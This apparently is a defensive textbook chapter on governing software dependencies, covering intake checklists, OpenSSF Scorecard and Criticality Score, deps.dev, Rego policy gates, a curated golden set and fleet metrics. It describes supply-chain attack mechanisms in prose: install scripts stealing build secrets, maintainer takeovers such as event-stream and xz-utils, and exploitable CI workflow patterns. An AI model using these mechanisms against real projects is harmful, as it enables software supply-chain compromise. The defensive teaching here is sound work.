The maintenance trajectory. A dependency is not a static artifact; it is a *relationship with a project over time*. You are betting that the project will keep pace with its own security fixes, keep working on new runtime versions, and not abandon you two majors behind. The cost shows up later as forced upgrades on someone else's schedule (Chapter 9), as security backports you have to do yourself when upstream goes quiet, and in the worst case as a migration off an abandoned package under time pressure. The maintenance question is not "is it maintained today" but "what is the trajectory" — and Book 1, Chapter 8 (The Open Source Ecosystem) is the treatment of why so many critical projects sit on a single unpaid maintainer's shoulders.

The security posture. Every dependency is attack surface and a future CVE. The relevant cost is not just the count of past vulnerabilities but the project's *responsiveness*: does it have a security policy, a private disclosure channel, a track record of fixing reported issues quickly? A package with several past CVEs that were all patched within days is a *better* bet than one with zero CVEs and no visible way to report one — the former demonstrates a working security process; the latter demonstrates only that no one has looked or no one could report.

The standing trust grant. This is the one engineers most underweight, and Book 1, Chapter 6 (Trust and Threat Models) is its full treatment. Adding a dependency is granting its maintainers — and everyone who can push to it, and everyone who compromises any of them — the standing ability to run code in your build and, for runtime dependencies, in your production process, *on every build and deploy, indefinitely, until you remove it*. It is not a one-time code review; it is a continuously renewed grant of execution privilege to a set of people you do not control and whose membership can change without your knowledge. The `event-stream` incident (Book 1, Chapter 4) is the canonical demonstration: a maintainer handed the project to a stranger who added a malicious transitive dependency, and every downstream consumer had already granted that stranger execution by virtue of depending on the parent. You cannot revoke the grant retroactively for builds that already ran.

"Is it worth a dependency?" — the left-pad calculus

The tiny-dependency question is the sharpest version of the cost trade-off. In March 2016 the eleven-line npm package `left-pad` was briefly unpublished and broke builds across the ecosystem (the availability side is treated in Chapter 8). The security lesson is orthogonal and larger: thousands of projects had taken a standing trust grant, an unpinned transitive dependency, and a supply-chain attack surface — in exchange for a function any engineer could write correctly in two minutes. The trade was catastrophically mispriced. The cost of *borrowing* eleven lines is not eleven lines; it is a node in your dependency graph with all four cost components above, plus a resolution and lockfile burden (Chapter 2), forever.

This does not mean "never take small dependencies." It means the build-vs-borrow calculus for a senior engineer is not "how much code would I write" — that framing makes every dependency look like a bargain. It is:

- **Borrow** when the function is genuinely hard to get right and the cost of a subtle bug is high: cryptography, TLS, date/time and timezone handling, Unicode normalization, protocol parsers, compression, numeric/decimal math. Here a mature, widely-audited dependency is *lower* risk than your own code, and the trust grant is worth it. You do not want to be the person who reimplemented a JWT verifier.
- **Build** when the function is small, stable, and easy to verify, *and* the dependency would drag in a closure, an install script, or a maintenance relationship out of proportion to what it does. Copying eleven lines (with attribution and a test) is often the correct answer for a leaf-level utility. The lasting cost of vendoring a few lines is near zero; the lasting cost of a dependency edge is not.
- **Prefer the standard library and the platform** over both. The cheapest dependency is the one the runtime already ships and already patches.

The senior-engineer move is to price the *closure and the grant*, not the lines of code, and to notice that the ecosystems most prone to tiny dependencies (npm above all) are exactly where the mispricing is most common and most exploited.

The intake checklist

When a dependency is proposed — in a design review, a pull request, or an internal request to add it to the golden set — evaluate it against a fixed checklist so the decision is consistent across teams and auditable later. The checklist is the human-judgment counterpart to the automated signals in the next section; on a load-bearing dependency you run both.

Dimension	Question	Where the answer comes from
Criticality of function	How load-bearing is this in *our* system? What breaks if it fails or is compromised?	Design review; reachability (Chapter 7)
Maintenance	Active commits, releases, responsive maintainers? Bus factor?	Health signals (below); Book 1, Ch 8
Transitive footprint	How many transitive deps does it add? Any of them already banned?	`npm ls --all` / `go mod graph` / SBOM
Install scripts	Does it run `postinstall` / `preinstall` or equivalent build-time code?	`npm`'s `--ignore-scripts` dry run; Socket
Provenance / signing	Signed releases? npm/PyPI provenance attestation? (Book 5)	Scorecard `Signed-Releases`; registry
License	Compatible with our distribution and obligations?	SPDX ID; Scorecard `License`; Book 1, Ch 8
Security history	Past CVEs, and — more important — response time and a disclosure channel?	OSV (Ch 5); Scorecard `Security-Policy`, `Vulnerabilities`
Alternatives	Is there a better-maintained, lower-footprint, or already-blessed option?	Golden set; deps.dev comparison

Two items on this list deserve emphasis because they are where malicious and merely-risky dependencies overlap (the connection to Chapter 4's malicious-package detection). **Install scripts** are a build-

time execution grant that most engineers never notice they are giving; a package that runs code on `npm install` can exfiltrate environment secrets from the build runner before a single line of your application code executes, and this is the delivery mechanism for a large share of npm supply-chain attacks. A default posture of `npm ci --ignore-scripts`, with an allowlist of the few packages that legitimately need scripts, converts this from an invisible grant to an explicit, reviewed one. **Transitive footprint** matters not only for the attack surface but because a proposed dependency that drags in a *banned* transitive package must be rejected or routed to a curated fork — the closure is part of what you are adopting.

The output of intake is one of three decisions, and the whole point of the checklist is to make that decision explicit rather than a silent `install`:

```
flowchart TD
  A["Dependency proposed"] --> B{"Function truly needed?
stdlib / platform / existing golden-set dep?"}
  B -->|"already covered"| R1["REJECT — use existing"]
  B -->|"genuinely new need"| C["Run intake checklist +
automated signals"]
  C --> D{"Health, license, provenance,
footprint within policy?"}
  D -->|"clear fail"| R2["REJECT — or find alternative"]
  D -->|"clear pass, low criticality"| E["ADOPT — normal path,
proxy + policy handle the rest"]
  D -->|"pass but load-bearing
or borderline"| F["CURATE — add to golden set,
assign owner, deeper review"]
  F --> G["Vetted internal catalog entry
+ named owner + review cadence"]
  E --> H["Enters via proxy
(Ch 8): scan, cooldown, pin"]
  R2 --> I["Log decision + rationale
(auditable, reusable)"]
  R1 --> I
```

Notice the asymmetry: a low-criticality dependency that passes the automated signals should flow straight through on the paved road — the proxy, cooldown, pinning, and SCA (Chapters 4, 8, 2, 6) handle it without a human in the loop — while a load-bearing or borderline one is *promoted* into the curated golden set with a named owner. You do not spend equal effort on every dependency; you spend it where criticality concentrates risk.

Automated health and risk signals

You cannot run the intake checklist by hand on ten thousand existing dependencies, and you cannot re-run it every week as their trajectories change. The scaling answer is automated signals: programs that inspect a project's *process hygiene* and *importance* and emit machine-readable scores you can feed into policy. This section is the tooling core. It is essential to keep in view what these tools measure — hygiene and importance are proxies for risk, not measurements of it — and we return to their limits explicitly at the end.

OpenSSF Scorecard

OpenSSF Scorecard (the project and hosted dataset live under the Open Source Security Foundation) is the most important open, automated health signal. It runs a battery of **checks** against a source repository — primarily GitHub, with growing GitLab support — each of which inspects some observable aspect of the project's development process and produces a score from 0 to 10 plus a reason and remediation. The checks, grouped by the risk they proxy for:

Source and build integrity. - **Branch-Protection** — are protected-branch rules in force on the default/release branches (required reviews, status checks, no force-push)? A high score means malicious or accidental changes cannot land without review. - **Code-Review** — does change history show review before merge? A proxy for the two-person rule (which, as we note below, xz satisfied on paper). - **Pinned-Dependencies** — are the project's *own* CI dependencies and container base images pinned by hash rather than by floating tag? Unpinned build dependencies are how a build gets compromised (Book 4). - **Token-Permissions** — do the project's GitHub Actions workflows follow least privilege (`permissions: read-all` by default rather than a broad write token)? This is the control that directly addresses token-theft attacks against CI. - **Dangerous-Workflow** — does any workflow contain a known-dangerous pattern, such as `pull_request_target` combined with checkout of untrusted PR head code, or script injection from untrusted input? These are concrete, exploitable CI misconfigurations.

Build and release provenance. - **Signed-Releases** — are releases cryptographically signed / do they carry provenance (e.g., cosign signatures, npm/PyPI provenance)? (Book 5.) - **Binary-Artifacts** — does

the repository contain committed binaries whose source you cannot review? A committed executable is an un-auditable trust grant. - **Packaging** — is the project published through a recognized packaging/release automation rather than by hand? - **CI-Tests** — do changes run CI tests before merge?

Vulnerability and maintenance posture. - **Vulnerabilities** — does the project have known open, unfixed vulnerabilities (queried via OSV, Chapter 5)? - **Maintained** — recent commit and issue activity (a rolling window, roughly the last 90 days) — a proxy for "is anyone home." - **Dependency-Update-Tool** — is Dependabot / Renovate (Chapter 9) configured? - **SAST** — is static analysis (CodeQL and similar) run in CI? - **Fuzzing** — is the project fuzzed (e.g., enrolled in OSS-Fuzz)? - **Security-Policy** — is there a `SECURITY.md` with a disclosure channel? - **CII-Best-Practices** — does the project hold an OpenSSF Best Practices (formerly CII) badge? - **License** — is a license present and detectable (SPDX)? - **Contributors** — contributions from multiple organizations, a weak bus-factor/diversity proxy.

Some checks (webhooks, SBOM) are experimental or have moved in and out over versions; the authoritative list is the project's `checks/` documentation, and you should read it against the version you run rather than trusting any fixed enumeration, including this one.

How the aggregate score is computed. Each check returns 0–10. The overall Scorecard score is a *weighted average* of the checks, where each check carries a risk weight — Critical, High, Medium, or Low — reflecting how strongly it correlates with supply-chain risk (Critical-weighted checks move the aggregate far more than Low-weighted ones). Checks that error out or are inapplicable are excluded rather than scored zero. The result is a single 0–10 number per repository, plus the per-check breakdown, which is the part you actually act on — the aggregate is a triage sort key; the per-check reasons are the remediation list.

How it is run. Three modes, escalating in scale:

- *CLI, on demand.* Point it at a repo and read the JSON:

```
scorecard --repo=github.com/example/widget --format=json --show-
details \
  | jq '{score: .score, checks: [.checks[] | {name, score, reason}]}'
```

- *GitHub Action, in CI.* The project (or a consumer forking it) runs Scorecard on every push and uploads results as SARIF to the code-scanning dashboard, or as a signed attestation, turning the score into a gate on the project's own repo.
- *The public dataset and API.* This is the piece that makes Scorecard usable at fleet scale: the OpenSSF runs Scorecard on the order of *millions* of the most-depended-upon public repositories on a recurring (roughly weekly) schedule and publishes the results — queryable through a public REST API and a public BigQuery dataset, and surfaced inside deps.dev. You do not have to run Scorecard yourself on your ten thousand transitive dependencies; you can *join your dependency inventory against the published scores*. That join — inventory (Book 3) × Scorecard dataset — is the mechanical core of fleet-wide health triage.

```
# Look up a project's latest published score without running anything.
curl -s https://api.scorecard.dev/projects/github.com/example/widget \
  | jq '{score, date, checks: [.checks[] | {name, score}]}'
```

What Scorecard is *for*, stated precisely. It is a *heuristic risk signal about development process*, designed to be run at scale and to make the invisible hygiene of thousands of projects comparable and sortable. It is explicitly not a guarantee, a certification, or a measurement of whether the code is correct or backdoor-free. Hold that thought; the limits subsection makes it load-bearing.

OpenSSF Criticality Score — the other axis

Health answers "how well-run is this project?" It says nothing about "how much do we, and the world, *depend* on it?" Those are orthogonal, and conflating them is a common triage error: a sloppy but trivial leaf dependency and a sloppy but load-bearing framework have the same health score and wildly different risk to you.

The **OpenSSF Criticality Score** (also an OpenSSF project, originally from Google) measures the *importance / load-bearingness* of a project on a 0-to-1 scale, combining signals such as:

- age of the project (`created_since`) and recency of activity (`updated_since`),
- number of distinct contributors and contributing organizations,
- commit frequency and recent release count,
- issue activity (closed issues, issue comment frequency),
- and, most importantly, **`dependents_count`** — how many other projects depend on it, typically sourced from deps.dev's dependency graph.

These are combined by a weighted formula into a single criticality number. The higher it is, the more the ecosystem (and, when you weight by *your* usage, your fleet) leans on the project. The xz-utils library scored as broadly critical infrastructure precisely because half the Linux world transitively links it — which is exactly what made it a target.

The reason both scores exist is that you use them *together*. Chapter-8-of-Book-1's quadrant is the canonical framing, and here it becomes the triage engine of the whole program:

```
flowchart TB
  subgraph Q["Criticality (Y) × Health (X)"]
    direction TB
    A["High criticality · Low health
load-bearing AND fragile

ACT NOW — fund, fork, mirror,
find a replacement, or sponsor.
These are your xz-shaped risks."]
    B["High criticality · High health
load-bearing and well-run

MONITOR — keep current,
watch for maintainer/ownership
changes, ensure a mirror exists."]
    C["Low criticality · Low health
minor and fragile

REVIEW / REMOVE — cheap to
drop or vendor; do so to shrink
the surface. Rarely worth funding."]
    D["Low criticality · High health
minor and well-run

ACCEPT — routine hygiene,
let automation carry it."]
  end
```

The top-left quadrant — high criticality, low health — is where a dependency-governance program earns its budget, because it is where the next xz lives. It is a small set (that is the point: criticality is concentrated), so you can afford *human* attention there: sponsor the maintainer, mirror the source (Chapter 8) so an unpublish cannot break you, contribute the missing hygiene (branch protection, a security policy), fork if you must, or plan a migration. Everything in the bottom-right can be left to policy and automation. Criticality-weighted triage — spending human effort in proportion to how load-bearing a dependency is — is the single most important idea for making a fleet-scale program tractable.

deps.dev — the aggregation substrate

Google's **deps.dev** (Open Source Insights) is the free service that makes the above practical across ecosystems. It continuously builds the dependency graph for npm, Go, Maven, PyPI, Cargo, and NuGet, and for every package version it aggregates: the full resolved **dependency graph** (direct and transitive), known **advisories** (via OSV, Chapter 5),

detected **licenses**, and the project's **Scorecard** results. You reach it three ways — a web UI (`deps.dev`), a REST/gRPC **API** (`api.deps.dev`), and a public **BigQuery** dataset for bulk analysis.

```
# Resolve a version's metadata: license, advisories, and the linked
source repo.
curl -s https://api.deps.dev/v3/systems/npm/packages/left-pad/versions/
1.3.0 \
  | jq '{licenses, advisoryKeys, links: .relatedProjects}'
```

deps.dev is the connective tissue: it is where "this npm package" is joined to "this GitHub repo" to "this Scorecard result" to "these advisories" to "this license," across ecosystems, so that your policy engine can ask one question and get health, criticality inputs, license, and vulnerability data back together.

Commercial and ecosystem-specific signals

Around this open core sit services that add behavioral and curated analysis:

- **Socket** takes a distinctive approach: rather than scoring process hygiene, it analyzes package *behavior and diffs between versions* — detecting newly-added install scripts, network or filesystem access, use of `eval`/obfuscation, and shell invocation. This is the signal set that overlaps most directly with **malicious-package detection (Chapter 4)**: "risky" and "malicious" are a spectrum, and a sudden new `postinstall` that opens a network connection is where they meet.
- **Snyk Advisor** publishes a package **health score** (a 0–100 composite of popularity, maintenance, security, and community) as a quick triage read.
- **Libraries.io** computes **SourceRank**, an older heuristic of package quality and popularity, and tracks release/dependent data across dozens of ecosystems.
- **Mend** (formerly WhiteSource) and **Snyk**'s platform features fold package health and license data into policy engines you can gate builds on.
- **The registries themselves** now emit signals: npm surfaces deprecation, provenance attestations (Sigstore-backed, Book 5), and download trends; PyPI and others expose similar metadata.

The **supply-chain-specific temporal signals** deserve their own emphasis because they are the ones that catch fast-moving attacks that hygiene scores miss entirely: a package **newly published** or a version released moments ago (the cooldown/max-age control, Chapters 4, 8, 9), a **maintainer change** or new publisher on an established package (the `event-stream` pattern), a **sudden permission or capability change** (a library that never touched the network suddenly opening sockets), **install scripts added** where there were none, and **obfuscated code** appearing in a diff. None of these are in a Scorecard number; all of them are high-signal for *this release is an attack*. A mature program consumes both the slow hygiene signals (Scorecard/criticality, for adoption and quarterly triage) and the fast behavioral signals (Socket-style, at the proxy on every ingest).

The limits — hygiene is not a security guarantee

Be honest with yourself and with the teams you serve about the ceiling on all of this. Scorecard, Criticality Score, and the health services measure **process and importance**, which are *correlated* with risk. They do not, and cannot, measure code correctness, the absence of a vulnerability, or the absence of a deliberately planted backdoor.

The definitive counterexample is **xz-utils (CVE-2024-3094)**, disclosed in March 2024 and treated in full in Book 1, Chapter 5. The attacker operated the "Jia Tan" persona for roughly two years, becoming a *legitimate co-maintainer* with commit rights, then landed a backdoor through the release-tarball build tooling. Measured by process hygiene, xz looked *reasonable*: it had commits, releases, an active (seemingly) maintainer, a real history, review on paper. A high Scorecard for `Code-Review` or `Maintained` would have told you the process existed — and the entire attack was executed *through* a legitimate actor operating that process. The two-person rule does not help when one of the two people is the adversary. Criticality Score would (correctly) have flagged xz as load-bearing — which is a reason to watch it, not a control that stops the attack.

The correct posture, therefore:

- **Signals are inputs to judgment, not verdicts.** A high score narrows where you must look; it does not certify safety. A low score is a reason to look harder, not always a reason to reject — a perfectly

good small library may score low simply because it does not run OSS-Fuzz.

- **Defense in depth remains mandatory.** Hygiene scoring sits *alongside* cooldown (so you are not the first to ingest a compromised release), behavioral scanning (so a new install script is caught), pinning and lockfiles (Chapter 2, so you know exactly what ran), reachability and SCA (Chapters 6–7), provenance verification (Book 5), and the proxy chokepoint (Chapter 8). No single layer, least of all a hygiene number, is the control.
- **Weight human attention by criticality.** The top-left quadrant is exactly where automated scores are least sufficient and human review most valuable — because that is where a determined attacker will invest the two years.

State this plainly to leadership and to teams: a green dashboard of Scorecard numbers is a measure of *hygiene coverage*, not a measure of *being un-backdoored*. Selling it as the latter is how a program loses credibility the first time a well-scored dependency turns out to be malicious.

Turning signals into policy

Signals that no one acts on are a dashboard. The value comes from encoding decisions as **policy as code** — machine-checkable rules, versioned in a repository, reviewed like any other code, and enforced automatically at defined points. A dependency policy typically encodes:

- **Health thresholds** — e.g., a direct dependency must have a Scorecard aggregate ≥ 5.0, or must not fail a specific Critical-weighted check (a `Dangerous-Workflow` failure is disqualifying regardless of aggregate). Thresholds are usually stratified by criticality: stricter for load-bearing deps.
- **License policy** — an allowlist of SPDX identifiers (permissive) and a denylist (e.g., strong copyleft in contexts where it is incompatible with distribution), with a review path for the ambiguous middle. (Book 1, Chapter 8 covers the license-obligation mechanics.)
- **No install scripts without review** — packages that run build-time scripts are denied by default and allowed only by explicit, expiring exception.

- **Max-age / cooldown** — no version younger than *N* days may be resolved, so a smash-and-grab malicious release is caught in quarantine before it reaches a build (Chapters 4, 8, 9).
- **Required provenance** — for defined tiers (or all of a critical service's deps), a package must carry a verifiable provenance attestation, e.g., npm/PyPI provenance or SLSA provenance (Book 5).
- **Allow / deny lists and banned packages** — named packages (or ranges) that are always permitted (golden set) or always forbidden (known-malicious, unlicensed, or superseded).

The same policy is enforced at several points, and choosing the right point matters as much as the rule:

```
flowchart LR
  subgraph S["Signals"]
    S1["Scorecard / health"]
    S2["Criticality"]
    S3["OSV advisories"]
    S4["License (SPDX)"]
    S5["Behavior:
scripts, obfuscation,
maintainer change"]
    S6["Version age / provenance"]
  end
  subgraph P["Policy as code"]
    P1["Health thresholds"]
    P2["License allow/deny"]
    P3["Cooldown / max-age"]
    P4["No-scripts-without-review"]
    P5["Provenance required"]
    P6["Allow/deny lists"]
  end
  subgraph E["Enforcement points"]
    E1["Intake review
(human, golden set)"]
    E2["Internal proxy
(ingest gate, Ch 8)"]
    E3["CI gate
(PR / build fail)"]
    E4["Admission
(deploy-time, OPA/Kyverno)"]
  end
  S1 --> P1 --> E1
  S2 --> P1 --> E3
  S3 --> P6 --> E2
  S4 --> P2 --> E2
  S5 --> P4 --> E2
  S6 --> P3 --> E2
  P5 --> E4
  P6 --> E3
```

The proxy (Chapter 8) is the highest-leverage enforcement point because it is the *chokepoint*: a rule enforced there — cooldown, license, no-scripts, banned-package — applies to every build in the org without depending on ten thousand developer laptops running the same check. CI gates catch what must be evaluated in the context of a specific repo (a Scorecard threshold on a *newly-added* direct dependency in a PR). Admission control (Book 6, and OPA/Kyverno mechanics) is the last line: it can refuse to deploy a workload whose image lacks required provenance.

Intake review is where humans make the golden-set decisions the automation then enforces.

Express these as real policy. Dependency-Track's policy engine, Socket/Snyk/Mend policy features, and OPA (Rego) all encode the same logic; a Rego fragment for a CI gate over a resolved dependency looks like:

```
package dependency.intake

# Deny a newly-added direct dependency below the health threshold,
# unless it is on the curated golden set.
default allow := false

allow if {
    input.dependency.direct
    input.dependency.scorecard.score >= 5.0
    not banned[input.dependency.name]
    license_ok
}

allow if {
    golden_set[input.dependency.name]
# curated deps bypass the score gate
}

license_ok if {
    input.dependency.license in {"Apache-2.0", "MIT", "BSD-3-Clause", "
ISC"}
}

deny_reason contains msg if {
    input.dependency.direct
    input.dependency.scorecard.score < 5.0
    not golden_set[input.dependency.name]
    msg := sprintf("scorecard %.1f below threshold 5.0 for %s",
                   [input.dependency.scorecard.score,
input.dependency.name])
}
```

The golden-set bypass in that policy is deliberate and central, and it is the subject of the next section.

The golden set — a curated internal catalog

If every team independently vets a JSON library, an HTTP client, a logging framework, and a test runner, you have paid for the same evaluation dozens of times and gotten dozens of inconsistent answers — and your fleet now has five HTTP clients to patch instead of one. The

golden set (curated internal catalog, "paved road for libraries") is the fix: a blessed, small set of vetted, supported dependencies for common needs, published internally, that teams are *encouraged or required* to use instead of choosing their own.

Its properties:

- **Vetted once, deeply.** Each golden-set entry has passed the full intake checklist and a human review, so consumers do not repeat it. This is where you spend the deep human effort the automated signals cannot.
- **Owned.** Each entry has a **named owner** (a team, not a person who might leave) responsible for keeping it current, watching its health and criticality signals, and driving migrations.
- **Supported and mirrored.** Golden-set packages are mirrored in the internal registry (Chapter 8) so an upstream unpublish cannot break the fleet, and they get first-class update automation (Chapter 9).
- **The path of least resistance.** The paved road only works if using the blessed dependency is *easier* than not — a scaffold that already includes it, docs that assume it, examples that use it. If the golden set is a wiki page of approvals nobody reads, teams route around it.
- **Bounded.** A golden set with a thousand entries is not curated. Keep it to the genuinely common needs; everything else flows through the automated intake path.

The golden set is what makes the whole program tractable: it collapses the vetting surface from "every dependency every team might want" to "the small blessed set plus a policy gate for the long tail." It is the library analog of the paved-road/golden-path pattern that shows up throughout this suite.

Exceptions and lifecycle

Policy that cannot be broken will be routed around; policy with silent, permanent exceptions is not policy. The reconciling mechanism is **risk acceptance with expiry**:

- An exception (this team may use a below-threshold dependency; this critical service may ingest a version inside the cooldown window for an urgent fix) is granted with an **explicit owner**, a **documented**

rationale, and a **hard expiry date**. On expiry it is re-evaluated, not auto-renewed.

- Exceptions are recorded as data (in Dependency-Track, a policy-exception store, or the intake ledger), so the set of accepted risks is queryable — during an incident you can ask "which of our accepted exceptions touch this package?" (Book 8).
- Dependencies have a **deprecation and removal** lifecycle too: when a golden-set entry is superseded, it is marked deprecated with a migration deadline, update automation stops offering it, and the owner drives consumers off it. Removing a dependency is a first-class action, not an accident.
- Every dependency decision — adopt, reject, curate, exception, deprecate — is **logged with its owner and rationale**, so the program has an audit trail and so the same evaluation is never silently redone.

The through-line is **ownership**: an unowned dependency is an unmanaged risk, and "% of dependencies with a named owner" is one of the health metrics of the program itself (below).

Tooling for policy at fleet scale

- **OWASP Dependency-Track** is the reference open-source platform for the *inventory + policy + risk* side. It ingests SBOMs (CycloneDX, Book 3) continuously from every service, maintains a fleet-wide component inventory, evaluates each component against known vulnerabilities (OSV/NVD/GitHub advisories, Chapter 5) and against configurable **policies** (license, security-severity, and operational rules such as version age or banned coordinates), consumes **VEX** to suppress non-exploitable findings (Chapter 7), and computes portfolio-level **risk scores and metrics**. It is the substrate that turns "we have SBOMs" into "we can ask the whole fleet a policy question and get an answer."
- **OSV-Scanner and Scorecard in CI** provide the per-repo gates (advisory and hygiene) that Dependency-Track complements at the portfolio level.
- **Policy engines** — OPA/Rego and Kyverno-style admission controllers — enforce dependency and provenance policy at CI and deploy time (the Rego above; Kyverno/admission mechanics in Book 6).

- **Socket / Snyk / Mend** bundle behavioral signals, health scores, and policy enforcement into managed offerings for teams that prefer to buy the integration rather than assemble it.

No single tool is the program. The program is the *architecture* that wires signals into policy into enforcement across the fleet — which is the capstone.

Bringing Book 2 together — the governance architecture

Every chapter of this book has been one control on one dependency lifecycle. Assembled, they form a pipeline in which a dependency is *evaluated before entry, controlled at ingest, pinned, scanned, kept current, and continuously re-evaluated* — with policy enforced at every stage. This is the capstone.

```
flowchart TB
  subgraph Intake["1 · Intake — EVALUATE (this chapter)"]
    I1["Proposed dependency"] --> I2["Intake checklist
+ Scorecard / criticality /
license / footprint"]
    I2 --> I3{"Adopt · Reject · Curate"}
    I3 -->|"curate"| I4["Golden set
(owned, vetted)"]
  end
  subgraph Proxy["2 · Internal proxy — INGEST (Ch 8)"]
    P1["Pull-through chokepoint"] --> P2["Malicious scan (Ch 4)"]
    P2 --> P3["Cooldown / quarantine"]
    P3 --> P4["License + provenance gate (Book 5)"]
  end
  subgraph Pin["3 · Pin + lock — RESOLVE (Ch 2)"]
    L1["Lockfile: exact versions
+ integrity hashes"]
  end
  subgraph Scan["4 · SCA + reachability — ASSESS (Ch 6-7)"]
    C1["SBOM (Book 3)"] --> C2["OSV / SCA (Ch 5-6)"]
    C2 --> C3["Reachability + VEX (Ch 7)"]
  end
  subgraph Update["5 · Automated updates — MAINTAIN (Ch 9)"]
    U1["Renovate / Dependabot
+ cooldown + auto-merge"]
  end
  subgraph Reeval["6 · Continuous re-evaluation"]
    R1["Refresh health + criticality
weekly (Scorecard dataset)"]
    R2["Quadrant triage:
act on top-left"]
  end
  subgraph Policy["Policy as code — enforced THROUGHOUT"]
    G1["Thresholds · license · cooldown ·
no-scripts · provenance · allow/deny"]
  end

  I3 -->|"adopt"| P1
  P4 --> L1
  L1 --> C1
  C3 --> U1
  U1 --> R1
  R1 --> R2
  R2 -->|"remove / replace / fund"| I2
  G1 -.->|"intake gate"| I2
  G1 -.->|"ingest gate"| P2
  G1 -.->|"CI gate"| L1
  G1 -.->|"portfolio policy"| C2
  G1 -.->|"admission"| U1
```

```
  Inv["Org-wide dependency inventory
(Book 3) — the substrate under all of it"]
  Inv -.-> Scan
  Inv -.-> Reeval
  Inv -.-> Policy
```

Read it as a loop, not a line. A dependency is evaluated (this chapter), enters only through the proxy (Chapter 8) where it is scanned, cooled down, and provenance-checked, is pinned into a lockfile with integrity hashes (Chapter 2), is inventoried as an SBOM (Book 3) and continuously assessed by SCA and reachability (Chapters 5–7), is kept current by automation with a cooldown (Chapter 9), and is *re-evaluated continuously* by refreshing its health and criticality signals — which feeds back into the intake decision: a dependency that drifts into the top-left quadrant gets funded, replaced, or removed. Policy as code is not a stage; it is the connective enforcement applied at intake, ingest, CI, portfolio, and admission. And the org-wide inventory is the substrate beneath all of it — you cannot re-evaluate, gate, or measure what you have not inventoried.

The distributed-systems reality this architecture answers

State the scaling argument plainly, because it is the reason the architecture looks the way it does. You have hundreds of services, thousands of repositories, and — counting transitively — tens of thousands of distinct dependency versions, changing daily. Three consequences follow directly:

- **You cannot manually vet the closure.** Human judgment does not scale to O(services × dependencies). So automated signals (Scorecard/criticality/behavioral) feed centralized policy, and humans are spent only on the curated golden set and the top-left quadrant — an O(load-bearing deps) budget.
- **Enforcement must live at a chokepoint, not on endpoints.** A policy that relies on every developer running a scanner is not enforced. The proxy (Chapter 8) is the one place every dependency passes, so it is where fleet-wide rules live; admission control is the deploy-time chokepoint for the same reason.
- **Everything hangs off the inventory.** Criticality-weighted triage, portfolio policy, incident blast-radius queries ("which builds pulled the bad version," Book 8) — all of them are *joins against the org-wide*

dependency inventory (Book 3). The inventory is not a byproduct of the program; it is its foundation.

The design principle underneath all three: **spend judgment where risk concentrates, and automate everywhere else.** Criticality tells you where risk concentrates; the golden set and policy-as-code are how you automate everywhere else; the proxy and inventory are the leverage points that make "everywhere else" tractable.

Metrics — is the program working?

A governance program that cannot measure itself is faith, not engineering. The metrics below (which connect to the program-metrics treatment in Book 8, Chapter 8) turn the architecture into a dashboard leadership can read and teams can be held to:

Metric	What it tells you	Healthy direction
% of dependencies meeting policy	Coverage of thresholds/ license/provenance rules	→ 100%, tracked by tier
Scorecard distribution across the fleet	Aggregate hygiene of what you actually depend on	Median rising; long low-tail shrinking
Criticality-weighted risk	Risk concentrated in load-bearing deps, not raw counts	Top-left quadrant shrinking
Freshness / dependency drift	How far behind current the fleet runs (Chapter 9)	Median lag falling
% of dependencies with a named owner	Unmanaged-risk surface	→ 100%
Open policy exceptions (and % expired)	Accepted-risk backlog and hygiene of the exception process	Bounded; expired → 0
Golden-set adoption	Whether the paved road is actually used	Rising share of the common needs

The trap to avoid is optimizing the *easy* metric — raw vulnerability count or average Scorecard — at the expense of the one that matters, which is **criticality-weighted** risk. A fleet whose average Scorecard is 8.0 but whose three most-load-bearing dependencies sit in the top-left quadrant is in worse shape than the numbers suggest. Weight every fleet metric by

how load-bearing the dependency is, for exactly the same reason you weight your human attention that way.

Key takeaways

- **A dependency is not free.** Its true cost is the transitive closure, the maintenance trajectory, the security posture, and a *standing trust grant* of code execution to people you do not control — renewed on every build, indefinitely, until you remove it. Price the closure and the grant, not the lines of code. (Book 1, Chapters 4, 6, 8.)
- **Run intake as an explicit decision** — checklist plus automated signals — that outputs adopt, reject, or curate, and log it. Install scripts and transitive footprint are where "risky" meets "malicious" (Chapter 4).
- **OpenSSF Scorecard** scores development-process hygiene 0–10 across concrete checks (Branch-Protection, Code-Review, Token-Permissions, Dangerous-Workflow, Pinned-Dependencies, Signed-Releases, Vulnerabilities, Maintained, and more), runs as CLI/Action/public dataset, and is a *heuristic risk signal, not a guarantee*.
- **Criticality Score is the orthogonal axis** — how load-bearing a project is. Health × criticality gives the triage quadrant; spend human effort on the top-left (load-bearing *and* fragile), because that is where the next xz lives.
- **Hygiene ≠ security.** xz-utils (CVE-2024-3094) had reasonable-looking process and was backdoored *through* a legitimate maintainer. Signals narrow where you look; they never certify safety. Keep defense in depth — cooldown, behavioral scanning, pinning, SCA/reachability, provenance, and the proxy.
- **Encode policy as code** — thresholds, license, cooldown, no-scripts, required provenance, allow/deny — and enforce it at the highest-leverage point: the proxy chokepoint (Chapter 8), with CI and admission gates.
- **A curated golden set** with named owners collapses the vetting surface and is the library paved road. Exceptions carry an owner and a hard expiry; every decision has an owner.
- **The capstone is the loop:** evaluate → proxy-ingest → pin → SCA/reachability → automated updates → continuous re-evaluation, with policy enforced throughout and the org-wide inventory (Book 3) as

substrate. Measure it with *criticality-weighted* fleet metrics, not raw counts.

Further reading

- OpenSSF Scorecard — project, the authoritative per-check documentation, and the public API/dataset (https://github.com/ossf/scorecard and https://securityscorecards.dev/ and https://api.scorecard.dev/).
- OpenSSF Criticality Score — the project, its metrics, and the scoring algorithm (https://github.com/ossf/criticality_score).
- deps.dev / Open Source Insights — web UI, API, and the BigQuery public dataset documentation (https://deps.dev/ and https://docs.deps.dev/).
- OWASP Dependency-Track — architecture, the policy engine, and portfolio risk metrics (https://dependencytrack.org/ and https://docs.dependencytrack.org/).
- OSV and OSV-Scanner — the vulnerability data and scanner used across the pipeline (https://osv.dev/ and https://github.com/google/osv-scanner).
- Socket — behavioral supply-chain analysis and the risk-signal taxonomy (install scripts, network access, obfuscation) (https://socket.dev/).
- Snyk Advisor and Libraries.io — package health scoring and SourceRank (https://snyk.io/advisor/ and https://libraries.io/).
- OpenSSF Best Practices Badge (formerly CII) — the criteria behind the Scorecard `CII-Best-Practices` check (https://www.bestpractices.dev/).
- The xz-utils backdoor (CVE-2024-3094) — for the definitive "hygiene is not security" case; read the timeline of the Jia Tan persona and the two-year trust build (background in Book 1, Chapter 5; primary discussion in the oss-security list archives).
- The Open Policy Agent / Rego documentation, for expressing dependency and provenance policy as code (https://www.openpolicyagent.org/docs/latest/).

